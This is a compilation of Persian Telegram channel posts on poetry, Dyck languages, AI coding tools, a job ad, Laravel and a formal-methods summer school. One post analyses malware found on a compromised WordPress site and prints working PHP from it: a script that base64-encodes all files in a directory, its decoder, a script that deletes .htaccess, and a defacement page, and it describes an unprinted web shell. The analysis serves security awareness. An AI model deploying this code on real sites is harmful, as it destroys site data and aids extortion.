حالا همه چیز به کنار
من همیشه از انتخاب عکس ایران‌اینترنشنال هنگ میکنم
لامصبا چقدر عکس از سوژه‌هاشون دارن
همه اینا به کنار اون نابغه‌ای که عکس‌ها رو از آرشیوشون انتخاب میکنه خیلی خیلی کارش درسته

خیام | رباعیات | رباعی شمارهٔ ۸۳

کم کن طمع از جهان و می زی خرسند
از نیک و بد زمانه بگسل پیوند
می در کف و زلف دلبری گیر که زود
هم بگذرد و نماند این روزی چند

#خیام | گنجور
📍@iipoem

آقا دیک کلا چیز اوکی و مصطلحیه.

ما یک رده‌ای از زبان‌های context-free داریم که بهشون میگن زبان‌های دیک (Dyck language). درسته نگارشش متفاوته ولی تلفظش دقیقا همونه :)) مثلا زبانی که روی آلفابت ) و ( تعریف میشه که تعداد پرانتز‌های باز و بسته برابره و در هر زیر‌رشته‌ی هر رشته‌ی این زبان، تعداد پرانتز‌های بازش از بسته‌اش بزرگتر مساوی باشه یک زبان دیک معروفه.

زبان‌های دیک کاربرد بسیار مهمی توی program analysis دارن چرا که مسئله‌ی reachability روشون decidable هستش و بسیاری از مسائل حوزه‌ی program analysis به مسئله‌ی Reachability زبان‌های دیک reduce میشن.

تا میتونید خودتون رو قدرتمند کنید با استفاده از ابزارهای code assistant مثل claude و cursor و copilot

سرعت توسعه تون رو باید ارتقا بدید، این احتمالا جز اولین چیزاییه که باید با ai یاد بگیرید.


این مقاله هم جالبه بخونید
Cursor for Large Projects
https://getstream.io/blog/cursor-ai-large-projects/

از ai نترسید، فقط سعی کنید بغلش کنید :)
خود این مقاله هم میگه که
Engineering jobs are not going away anytime soon. In fact, we’re hiring faster than ever before—Golang engineers/lead/staff/director in Amsterdam/Boulder/remote.

پس محکم برید جلو

حواستون باشه که ابزارهای code assistant شمارو غافل نکنه از اینکه تو یادگیری تخصص تون تنبل بشید، بگید خب دیگه ai جای من بلده…


خرید دوره بکند و گولنگ gocasts با تخفیف ویژه نوروز 👇
https://t.iss.one/gocasts/633

@gocasts

Ai for Software
@aicasts_ir

#سرباز_امریه
فرصت ویژه
یک مجموعه فرهنگی-دانشگاهی از بین فارغ التحصیلان متعهد و متخصص در مقاطع لیسانس و فوق لیسانس مرتبط با فناوری اطلاعات (IT) جهت پشتیبانی و توسعه ی دیتاسنتر مجموعه اقدام به جذب " سرباز امریه " در سال 98 با شرایط زیر می نماید.
1- افرادی که تسلط بر مباحث امنیت و سرویس های لینوکسی دارند در اولویت جذب هستند.
2- متقاضیان امریه سربازی مذکور می بایست ساکن تهران ویا امکان سکونت در تهران را داشته باشند.
3- دارا بودن شرایط جسمی و روحی متناسب با خدمت.
4- نداشتن غیبت در اعزام به خدمت.
5- عدم ترخیص موقت از خدمت.
6- پس از بررسی رزومه در کمیسیون، جهت مصاحبه از شما دعوت به عمل خواهد آمد.
7- این آگهی صرفا جهت جذب سرباز است. لطفا بانوان گرامی و یا غیر سرباز رزومه ارسال نفرمایند.

واجدین شرایط مشخصات فردی و رزومه سوابق تحصیلی و کاری را ID Telegram: @Y_Y_P یا https://t.iss.one/Y_Y_P ارسال نمایند.

🔶 اینجا چند فایل پیدا کردم که جز وردپرس نبودند و اما با اضافه کردن پسوند wp- سعی در فریب صاحب سایت می کند که بدونه این فایل جز وردپرس هست و که مثلا نباید حذف شود...

wp-test.php
wp-untest.php
wp-con.php
wp-in.php


در اینجاست که دو فایل wp-test و wp-untest کدها را می ببنید:

wp-test.php

<?php
    $excluded_files = ['wp-untest.php', 'wp-test.php'];
    $files = scandir(__DIR__);

    foreach ($files as $file) {
        if (is_file($file) && !in_array($file, $excluded_files)) {
            $content = file_get_contents($file);
            $encoded = base64_encode($content);
            file_put_contents($file . ".b64", $encoded);
        }
    }
?>

wp-untest.php

<?php
    $excluded_files = ['wp-untest.php', 'wp-test.php'];
    $files = scandir(__DIR__);

    foreach ($files as $file) {
        if (is_file($file) && substr($file, -4) === ".b64") {
            $original_name = substr($file, 0, -4);
            if (!in_array($original_name, $excluded_files)) {
                $content = file_get_contents($file);
                $decoded = base64_decode($content);
                file_put_contents($original_name, $decoded);
                unlink($file);
            }
        }
    }
?>

کد بالا یک اسکریپت ساده است که فایل‌های موجود در دایرکتوری جاری را بررسی می‌کند، محتوای آن‌ها را خوانده و به صورت base64 کدگذاری می‌کند، سپس نتیجه را در فایل‌های جدید با پسوند .b64 ذخیره می‌کند.

<?php

    $filePath = '.htaccess';

    if (chmod($filePath, 0644)) {
        echo "دسترسی فایل با موفقیت تغییر یافت.\n";
    } else {
        echo "تغییر دسترسی فایل ناموفق بود.\n";
        exit; 
    }

    if (unlink($filePath)) {
        echo "فایل با موفقیت حذف شد.\n";
    } else {
        echo "حذف فایل ناموفق بود.\n";
    }
?>

کد بالا اینکه .htaccess دسترسی رو به ۰۶۴۴ تغییر میده و .htaccess کنونی هم حذف می کند.

wp-in.php

<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>سایت موقتاً بسته است</title>
</head>
<body>
    <div>
        <h1>متأسفیم!</h1>
        <p>این سایت بدلیل بدهی مالی تا اطلاع ثانوی بسته می‌باشد.</p>
    </div>
</body>
</html>

کد wp-in حاوی کد ساده ایندکس هست که وظیفه اینه به فایل index.php وردپرس کپی و پیست کند.

حالا می رسیدم به wp-con.php

این بخش خیلی کد طولانی که ۲۳۳ خط کد هست که قرار نمیدم عملکرد اینکه می تونه پوشه و فایل مورد نظر رو آپلود وحذف کند و لیست فایل ها رو نمایش بده که همان وب شل (Web Shell) نامیده می شود و هکرها آن را روی سرورهای وب قربانی نصب می‌کنند تا از راه دور به سیستم دسترسی داشته باشند.

اینجا این کدها که منظم بوده با هوش مصنوعی نوشته شده است!

بنابراین که باید از هوش مصنوعی ترسید! که میتواند کدهای مخرب رو بنویسند و برنامه نویس حداقل متوسطه می تواند از این کدها بهره بگیرد.

تاکید می کنم که از این کدها سو استفاده نکنید و صرفا برای دانستن وب و امنیت است و کانال یک برنامه نویس تنبل هیچ مسئولیتی در سو استفاده از کدها برعهده نمی گیرد.

#وردپرس

@TheRaymondDev

تلگرام آپدیت داده میتونی کامنتا رو پولی کنی (با استار)

وقتشه یه دعوا بین لینوکس و ویندوز بندازیم و پولدار شیم


پ.ن موقته چند دیقه دیگه خاموشش میکنم

@CleverDevs - @CleverDevsGp

خدایا شکرت

متود times در لاراول بهتون این امکان رو میده که یک کار رو چندین بار به راحتی بتونید تکرار کنید بدون نیاز به نوشتن for یا foreach. یعنی شما میگید که یک کار رو مثلاً ۵ بار انجام بده، و لاراول به طور خودکار اون کار رو ۵ بار براتون انجام میده.

کاربردش؟؟
مثلا در تست نویسی(ایجاد رکورد با تعداد مدنظر در دیتابیس)

چجوری کار میکنه؟
در هر تکرار، شماره‌ی تکرار (که در اینجا number$ هستش) به closure داده میشه و میتونین ازش برای انجام کاری مثل چاپ پیام یا پردازش دیتای مدنظر استفاده کنین.
#Laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1896538556551884968?t=q22doKctgbLdIHAW0U24uA&s=35

🔶 برای کانال لوگو قدیمی بمونه یا جدیدشو؟

#موقت

@TheRaymondDev

Huge Update 💯

یه بازگشتی بزنیم به سامر اسکول‌ها

موسسه‌ی SRI تو کالیفرنیا یکی از موسسات پیشرو تو حوه‌ی فرمال متد بوده و هست. قدیما خب بیشتر بود و الان یکمی کمرنگ تر شده فعالیتش. این موسسه ۱۳ ساله که داره Summer School on Formal Techniques رو برگزار می‌کنه و هر سال کلی تاک خفن و جذاب داره. مثلا سال ۲۰۱۵ آقای Dana Scott یکی از برندکان جایزه‌ی تورینگ تاک معروف شون رو انجام دادن که توی این پست از کانال مفصل راجع بهش صحبت کردیم

امسال هم به رسم هر ساله، قراره که چهاردهمین سامر اسکول SSFT به شکل هیبرید برگزار بشه. به اصحابی که در آمریکا هستند بسیار توصیه می‌کنم شرکت کنند. امسال خیلی تاک‌های خفنی داره. باقی اصحابم که آمریکا نیستند میتونن مجازی اتند کنن تاک‌ها رو فقط باید قبلش حتما ثبت نام کنند. ددلاین ثبت‌نامش ۳۱ مارچ هست و می‌تونید از طریق این لینک اقدام کنید. در ادامه لیست تاک‌ها رو براتون قرار میدم :

- Deductive Verification of Probabilistic Programs with Caesar : Joost-Pieter Katoen
- Understanding and using SAT and SMT solvers : Erika Abraham
- Runtime Verification with R2U2 : Kristin Yvonne Rozier
- Compositional Verification using the Gillian Platform : Philippa Gardner
- Programming and Reasoning with Kleene Algebra with Tests : Nate Foster
- Speaking Logic : Natarajan Shankar and Stéphane Graham-Lengrand